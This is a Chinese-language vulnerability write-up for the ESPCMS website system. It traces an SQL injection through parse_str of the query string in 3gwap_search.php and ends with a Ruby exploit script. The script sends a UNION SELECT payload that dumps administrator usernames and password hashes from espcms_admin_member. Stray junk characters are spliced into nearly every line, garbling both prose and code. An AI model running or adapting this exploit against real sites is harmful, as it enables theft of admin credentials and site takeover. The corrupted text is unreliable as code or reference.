0×0 漏洞概述0×1 漏洞细节
% c7 [6 h3 r# \0×2 PoC0 s9 n: b/ W7 M+ G
3 _$ H6 B2 K1 B& \
m8 e" h% K* I# O. D
* M5 W4 x% h* y" q
0×0 漏洞概述
7 P: F5 _5 M5 `, i/ K! W5 K K0 \0 P7 Q& E
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
, P, G. t5 {8 [" v其在处理传入的参数时考虑不严谨导致SQL注入发生4 N3 F3 C- n4 e: T. E
& g, W- n/ T o0 x& q) m; |+ a
: x6 E& f3 E2 k, H
0×1 漏洞细节% `0 @+ C. J5 F1 h( p4 v- C
: A e+ U5 i# h' S' F
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
8 ~' ?' b; q" \7 N) ?* e' ?' o正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。+ ~; v8 j0 E# p8 g3 T
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
# m6 e y6 M- v, f
& [8 d. N* n5 n3 l/ P% m在/interface/3gwap_search.php文件的in_result函数中:
. {& s! C! W7 _# _/ c" j( w0 ^: v/ }6 N' _, g! M: E: }; P
/ ~) j1 {$ ?8 Y
) ]# z @8 q2 w& W
function in_result() {
( K o( b# I$ ?9 A3 k- e5 w: U# B ... ... ... ... ... ... ... ... ...
' U/ j+ z; f1 z $urlcode = $_SERVER[ 'QUERY_STRING '];
- u0 N+ n( H* Y- B1 x6 a- w) A0 ` parse_str(html_entity_decode($urlcode), $output);
$ v+ [8 I" L' g4 ~8 `% J$ t" `" @: E0 }( i9 _7 I: Z) L
... ... ... ... ... ... ... ... ...0 e( D" p$ O8 [
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
& J) ^8 {* Z6 @8 A H, }9 M, H7 x
$db_table = db_prefix . 'model_att';4 D; v. V4 E, k9 l
0 \! Q$ O% A7 f U
foreach ($output['attr' ] as $key => $value) {
B" Z. ], V/ a8 g( y- P9 h6 \ if ($value) {- d; {+ L( q* a
% B* Y# q9 l; ~, O$ [7 I1 q6 ? $key = addslashes($key);
0 d0 ]8 D5 Y( Y: Y# ^7 ` $key = $this-> fun->inputcodetrim($key);$ t; Z! E0 s2 M' N' ?6 C4 ?# g" G
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
v) Y, L A6 Q @1 K/ D+ @' T $countnum = $this->db_numrows($db_table, $db_att_where);
0 k. K( Q; `2 N7 M; x% \" Q if ($countnum > 0) {* |1 t& ~ _6 h4 h7 @3 p) x; o
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;1 O1 R0 M4 @5 {& D Y6 C9 R
}& M/ s* X6 L4 }
}
/ q( F& q3 C5 Y& f5 N }4 y% p# W. P0 z
}
( ]5 {: r) F* c( s. Z' H) z b, \ if (!empty ($keyword) && empty($keyname)) {" ]7 W! Z0 @! R. P
$keyname = 'title';
3 e! w; j( l! @* V* g* M5 w $db_where.= " AND a.title like '%$keyword%'" ;* h% ?5 h4 z' _" v$ e
} elseif (!empty ($keyword) && !empty($keyname)) {2 i$ w3 |; {0 T; h" X! S& g
$db_where.= " AND $keyname like '% $keyword%'";
# q2 D; V8 ?4 G }
- z# y. F& s$ h( _, r) J $pagemax = 15;
2 ^2 u$ v7 u6 w k6 k1 U: K% t+ T
$pagesylte = 1;
# r+ f% X) I% f6 `8 C& e" Q* i, m3 C+ J; Q
if ($countnum > 0) {
- A( }; m1 L- O& ?! m
( S$ T0 F2 W. C$ d- z4 q $numpage = ceil($countnum / $pagemax);
9 D: P" p% u; B/ Y) O( d0 W* Y } else {
2 K' [9 F2 F4 Y2 } $numpage = 1;
: N+ g( z, X& W1 O. {9 r }
e5 l; D% `2 i1 B; ?1 `# m# X: N3 F* j $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;- [5 A+ y( J1 R% G3 J4 a
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);9 z. y5 Y& O k8 G1 Y
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);* B; Z/ u+ Y# c/ s0 Y2 i
... ... ... ... ... ... ... ... ...
* B& L$ F& a0 x3 J }; e, L2 E/ S1 d% E
) y' l9 c& A: {
! \- X9 p' e {0×2 PoC9 K! `: ?' h/ G, k; s% f: I
5 [$ x' {) X1 g# F6 L
/ w. @! G' f9 x+ R$ k0 u% S# @# c. b7 l) C) Z2 M% b, r
require "net/http" `- v) q3 O: o0 H& k" |
5 b8 }# \& O5 G- vdef request(method, url)3 V8 z& W6 W# n6 U8 r8 k/ I) f) Q
if method.eql?("get")
4 K2 u# r* z* K4 ] uri = URI.parse(url)& X; [1 d9 \8 _
http = Net::HTTP.new(uri.host, uri.port): y2 i+ R9 c8 L1 I8 l
response = http.request(Net::HTTP::Get.new(uri.request_uri))" ~3 q. ~# O. V8 U# i h
return response/ d1 x/ G! E$ ~. i% ^+ ?
end5 j' j. [6 v4 R2 Q# Q: L. q
end
* Y+ y# m* a. y2 S3 L \; i
- Z2 p* H: N J. `, H7 w/ k5 Z4 hdoc =<<HERE# K; b4 \% H9 A* ]1 @! s" T; m
-------------------------------------------------------0 [- A4 Y% u- F$ Y8 O
Espcms Injection Exploit
8 N$ B0 D8 u3 zAuthor:ztz& g$ h. S6 z- j# B; }
Blog:http://ztz.fuzzexp.org/5 p) Z `( _( s$ E( S ^! n
-------------------------------------------------------
|: x/ B0 M D+ n/ w4 }
: W' o5 H6 @" j( D- E2 V. K! s1 }HERE, b6 Q2 D2 M2 }# |! w7 M7 d
2 e0 g0 I" o# C: u( R& Busage =<<HERE, i2 {0 z D4 F" g/ T
Usage: ruby #{$0} host port path
# [0 U: u, H8 Z6 R3 L |$ k) Qexample: ruby #{$0} www.target.com 80 / \% x2 ^1 H, e! F- C0 | R. f
HERE+ b: }. s7 V6 T1 f
& ^2 b5 B9 _- B
puts doc
0 Q& U# V' H' }9 b) u# Z1 w% i3 tif ARGV.length < 3
9 a k, z' S: k' W- E( i" t puts usage# z; t. }* w" b4 H
else
: i4 Y+ h, ~$ _1 G4 F6 G $host = ARGV[0]# d \7 k" I/ Z$ M/ e
$port = ARGV[1]
# h. F/ p- u; F( W $path = ARGV[2]- t5 r! `. u* N9 B6 O
) ~( H9 Q2 s) M. U0 s' R' V
puts "send request..."$ I7 O" s5 r4 W3 Y# d
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
I R! D0 y) y: D3 dattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,136 G m( ? a! }6 _" \/ c
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,279 w0 p: Z7 m% @1 O& m) H/ ~
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
* k8 e8 P- E D response = request("get", url)
" d; t! p) t( ]- H" \0 ?- e7 o result = response.body.scan(/\w+&\w{32}/)& x* c/ ~- V. H R: W
puts result
~) W8 u9 `$ Jend5 r% A; Y5 _; m. e; X6 v/ p0 f
8 t# z8 `6 @" { g! s. k5 R: }: \0 E |